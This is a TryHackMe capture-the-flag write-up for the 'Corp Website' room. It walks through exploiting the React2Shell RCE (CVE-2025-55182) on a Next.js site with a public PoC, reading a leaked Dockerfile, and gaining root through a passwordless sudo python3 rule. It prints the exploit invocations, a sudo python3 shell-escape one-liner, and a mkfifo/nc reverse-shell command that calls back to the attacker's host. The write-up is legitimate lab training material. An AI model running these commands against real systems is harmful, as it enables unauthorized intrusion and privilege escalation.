Writeups/TryHackMe/Corp Website - TryHackMe Writeup | React2Shell RCE to Root
TryHackMeMediumRoom

Corp Website - TryHackMe Writeup | React2Shell RCE to Root

Corp Website TryHackMe writeup β€” Love At First Breach 2026: CVE-2025-55182 React2Shell unauthenticated RCE, Dockerfile leak, and sudo python3 privilege escalation.

##TryHackMe Room β€” Corp Website (Love At First Breach 2026)

Romance & Co β€” a corporate website built on Next.js / React Server Components.

This challenge simulates a breach against a Next.js / React Server Components corporate site. What looked like a static marketing page was vulnerable to a critical unauthenticated RCE (CVE-2025-55182 β€” β€œReact2Shell”). I chained that with a misconfigured sudo rule to get root. This writeup documents the full path from recon to root, with each step connected.


##Overview

ItemDetail
GoalAchieve full compromise and capture user and root flags
Attack chainIdentify Next.js/RSC β†’ CVE-2025-55182 RCE β†’ user access β†’ Dockerfile leak β†’ sudo python3 β†’ root
Key conceptsReact Server Components, unauthenticated RCE, build artifact disclosure, sudo misuse

##High-level attack chain

StepTechniqueOutcome
1ReconIdentify Next.js application
2Initial footholdCVE-2025-55182 (React2Shell) RCE
3User accessRemote command execution as daniel
4EnumerationDockerfile disclosure via RCE
5Privilege escalationsudo python3 abuse
6ImpactRoot and both flags

##Reconnaissance

The application was at http://<TARGET_IP>:3000. I sent a simple GET request to the root and inspected the response headers:

http
GET / HTTP/1.1 Host: <TARGET_IP>:3000

Response headers (relevant):

text
HTTP/1.1 200 OK X-Powered-By: Next.js ...

So the stack was Next.js. Given the timing of the challenge and the way the page was built, I assumed it was using React Server Components (RSC) β€” the newer Next.js model where some components render on the server. That mattered because RSC had been in the news for a critical RCE; I made a mental note to check for that once I'd finished basic enumeration.

Corp Website homepage
Corp Website homepage

The site itself was a corporate landing page: hero section, marketing copy, no login form, no obvious API endpoints or parameters. I ran directory fuzzing (e.g. gobuster with /usr/share/wordlists/dirb/common.txt) to look for hidden paths like /admin, /api, or .env. I also tried common Next.js artifacts (e.g. /_next/, build manifests) and briefly experimented with VHost fuzzing. Nothing useful came back β€” no interesting status codes or response sizes. So the entry point was not a hidden directory or file; it had to be something that applied to the framework itself. That pushed me to look up whether Next.js or React Server Components had any recent, exploitable CVEs. A quick search led to CVE-2025-55182 ("React2Shell") β€” an unauthenticated RCE affecting RSC. I decided to try the public PoC against the target.


##Pivot: React Server Components RCE

Because the stack was Next.js and likely React Server Components, I looked up recent vulnerabilities. CVE-2025-55182 ("React2Shell") is a critical unauthenticated RCE that abuses how RSC handles certain internal redirects; the attacker can inject commands, and the output is reflected back (often Base64-encoded) in response headers or body. That meant I could run arbitrary commands on the server without logging in.

References:

I cloned the PoC repository and ran it against the target, passing a custom command so we could see who we were running as:

bash
python3 CVE-2025-55182-exploit.py -u "http://<TARGET_IP>:3000" --custom "id"

The script sends the malicious request and decodes the response; the decoded output was something like:

text
uid=100(daniel) gid=101(secgroup)

So we had unauthenticated RCE as the user daniel. The PoC gives us a way to run any single command and get the result back; for the next steps I used the same channel to enumerate the system (read files, check sudo, etc.) instead of immediately spawning a reverse shell.

React2Shell PoC β€” id command
React2Shell PoC β€” id command


##User-level access and Dockerfile leak

With RCE as daniel, my next step was post-exploitation enumeration. In containerized or CTF environments, the application directory often contains a Dockerfile or docker-compose file left from the build; those can reveal user/root flag paths, environment variables, or β€” as here β€” sudo rules that make privilege escalation trivial. I ran the same exploit script but with a command to read the Dockerfile:

bash
python3 CVE-2025-55182-exploit.py -u "http://<TARGET_IP>:3000" --custom "cat Dockerfile"

The script returned the full Dockerfile contents (decoded from the response). In it I saw:

  • >User flag: Written at build time to a path under /home/daniel/ (e.g. user.txt). So I could read the user flag with another RCE call: cat /home/daniel/user.txt.
  • >Root flag: Written to /root/root.txt (or similar). We didn't have read access to that yet.
  • >Sudo rule: A line like daniel ALL=(root) NOPASSWD: /usr/bin/python3 β€” meaning the user daniel could run only the binary /usr/bin/python3 as root, with no password. That's a classic privilege escalation vector: we run sudo python3 -c '...' and inside the Python one-liner we can spawn a shell or read files as root.

So the path was clear: use the existing RCE to run sudo python3 -c 'import os; os.system("/bin/sh")' (or similar) to get a root shell, then read the root flag.

React2Shell PoC β€” Dockerfile leak
React2Shell PoC β€” Dockerfile leak


##Privilege escalation: sudo python3

The sudoers line:

text
daniel ALL=(root) NOPASSWD: /usr/bin/python3

means that the user daniel can execute only /usr/bin/python3 as root, and the NOPASSWD option means no password is required. So from our existing RCE (which runs as daniel), we can execute:

bash
sudo python3 -c 'import os; os.system("/bin/sh")'

That runs Python as root; the one-liner imports os and calls os.system("/bin/sh"), which spawns a shell. Because the whole command is run with root privileges, the new shell is a root shell. I ran this via the same exploit script (passing the full sudo python3 -c '...' as the --custom command). The PoC returns the output of the command; for an interactive shell you would typically use a reverse shell or a bind shell. In this CTF setup, running a simple command like cat /root/root.txt via the RCE after escalating might work if the output is captured, or you can use a reverse shell payload in the Python one-liner (e.g. os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> <PORT> >/tmp/f")) and connect from your machine. Either way, once you have root, you read the root flag from the path shown in the Dockerfile.


##Flags

LevelFlag (obfuscated)
UserTHM{*redacted*}
RootTHM{*redacted*}

(Replace with the actual flags when you solve the room.)


##Pitfalls and notes

  • >

    Relying only on directory fuzzing: I spent some time on gobuster and similar enumeration and found nothing. The real entry point was a framework-level vulnerability, not a hidden URL. For modern stacks (Next.js, React, etc.), it's worth checking for recent CVEs early so you don't assume the only way in is a forgotten admin panel.

  • >

    Skipping post-RCE enumeration: After getting RCE, it's tempting to go straight for a reverse shell. Here, running a few simple commands (cat Dockerfile, sudo -l) revealed the full path to root. So before diving into shell stabilization, it pays to enumerate: list the directory, read Dockerfile if present, check sudo rules, and look for credentials or interesting files.

  • >

    Dangerous sudo rules: Giving a user passwordless sudo to an interpreter like python3 is equivalent to giving root β€” the user can always spawn a shell or read any file. In real environments, sudo should be restricted to specific commands with minimal arguments, or avoided for application users entirely.


##References and tools


This writeup is part of my Love At First Breach 2026 event writeups.

$ echo "Open to Red Team Security Research and Security Engineering roles."

> Open to Red Team Security Research and Security Engineering roles.

$ uptime

> Portfolio online since 2024 | Last updated: Mar 2026

"No one is useless in this world who lightens the burdens of another." β€” Charles Dickens

Considered a small donation if you found any of the walkthrough or blog posts helpful. Much appreciate :)

Buy me a coffee

Β© 2026 Shivang Tiwari. Built with Next.js. Hack the planet.